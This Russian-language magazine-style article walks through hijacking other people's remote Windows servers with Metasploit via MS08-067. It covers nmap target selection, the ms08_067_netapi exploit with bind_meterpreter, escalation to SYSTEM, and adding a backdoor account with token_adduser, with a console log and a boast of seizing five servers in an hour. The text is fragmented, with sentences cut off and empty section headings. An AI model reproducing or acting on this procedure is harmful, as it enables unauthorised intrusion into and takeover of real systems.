



# УГНАТЬ ЗА 60 СЕКУНД

## Метод добычи удаленного дедика под управлением Windows

➔ Считается, что с каждой новой версией Windows становится все защищеннее и защищеннее. Даже специалисты АНБ США приложили свою тяжелую руку к улучшению безопасности винды. Но так ли хорошо защищена ОС Windows в действительности? Давай проверим вместе. На практике!

### Готовим операционную

Сейчас я покажу тебе метод добычи удаленного дедика под управлением Windows средствами Metasploit Framework с использованием уязвимости MS08-067. Почему-то эксплуатация этого бага в настоящее время пользуется большой популярностью среди хакеров Ближнего Востока и Северной Африки, о чем свидетельствуют многочисленные записи и обсуждения в Facebook ([facebook.com/#!/group.php?gid=73074814856](https://www.facebook.com/#!/group.php?gid=73074814856)), хотя на страницах ВКонтакте, посвященных тому же самому MSF ([vk.com/club16499787](https://vk.com/club16499787)), царит полная тишина. В большинстве случаев уязвимыми являются все системы,

работающие под управлением Windows XP Professional SP2 и SP3 (полный список операционок, подверженных риску, ты можешь найти на [kb.cert.org/vuls/id/827267](http://kb.cert.org/vuls/id/827267)). Но как я понял из написанного, все программные продукты мелкомягких могут быть скомпрометированы путем эксплуатации данного бага и по сей день. Перейдем к делу — качаем последний релиз Metasploit Framework на официальном сайте [metasploit.com](http://metasploit.com) (или ищем на диске). Перед его установкой на компьютере отключаем антивирус. В комплект Metasploit Framework включен свой собственный сетевой сканер портов, хотя для поиска подключенных к сети машин под управле-



```

msf exploit(psexec) > load token_adduser
[*] Successfully loaded plugin: token_adduser
msf exploit(psexec) > sessions

Active sessions
=====
Id  Type           Information                                     Connection
--  -
3   meterpreter    x86/win32 NT AUTHORITY\SYSTEM @ LABXP01      10.8.0.18:4444 -> 192.168.8.100:2764
4   meterpreter    x86/win32 NT AUTHORITY\SYSTEM @ LABXP01      10.8.0.18:4444 -> 192.168.8.100:2765

msf exploit(psexec) > token_adduser foo_bar P@ssw0rd!
[*] >> Opening session 3 / 192.168.8.100:2764
[*] Attempting to add user foo_bar to host
[+] Successfully added user

[*] >> Opening session 4 / 192.168.8.100:2765
[*] Attempting to add user foo_bar to host
[-] User already exists

msf exploit(psexec) > token_adduser -h 192.168.8.10 foo_bar P@ssw0rd!
[*] >> Opening session 3 / 192.168.8.100:2764
[*] Attempting to add user foo_bar to host 192.168.8.10
[+] Successfully added user

msf exploit(psexec) >
  
```

**Добавляем юзера средствами FrameWork**


64-разрядные полезные нагрузки, которые имеются в соответствующем разделе (ищем через меню GUI), или вызвать нагрузку через консоль. Пример работы эксплойта с полезной нагрузкой можно посмотреть на видео (ищи ролик на нашем диске).

**Захват сервера**

Теперь из списка хостов, сгенерированных nmap, выберем IP-адрес под управлением ОС Windows 2003 Server — это и будет наша искомая цель (ведь ты, как настоящий сетевой гуру, хотя бы раз в жизни должен поиметь свой собственный дедик!). Для работы с сервером будем использовать все тот же эксплойт (exploit/windows/smb/ ms08\_067\_netapi) и полезную нагрузку bind\_meterpreter. В результате мы получаем доступ к командной оболочке через Meterpreter, после чего добавляем нового пользователя с помощью сценария token\_adduser, предварительно повысив свои привилегии на удаленной машине до уровня SYSTEM с помощью команды use priv. Ну вот — у нас есть дедик, к которому ты можешь подключаться, используя удаленный рабочий стол. На нем мы можем установить прокси-сервер, FTP и многое-

мное другое. В ходе эксперимента у меня получилось набрать пять дедиков примерно в течение часа. Я думаю, это круто!

**Заключение**

Если кто-то хочет просто жать на кнопку «exploit», чтобы Metasploit сразу выдавал готовые дедики, то скажу сразу — этого не будет: метод все равно требует времени и терпения. Уязвимость далеко не нова, и производители ПО уже приняли меры по ее локализации. Так, если на удаленной машине установлен антивирус или правильно сконфигурирован центр обеспечения безопасности Windows, то скорее всего доступ к порту 445 из внешней сети получить просто не удастся. В частности, антивирус Касперского отреагирует на изменение системных файлов, своевременно информируя об этом пользователя. Хотя атака из локальной сети, скорее всего, приведет к тому, что система будет полностью скомпрометирована. Несмотря ни на что, все еще остается довольно широкое поле для экспериментов с безопасностью Windows, и ты можешь внести свой вклад в это дело. Непоправимый вклад :). 

**Результаты сканирования**



**Виды полезных нагрузок**

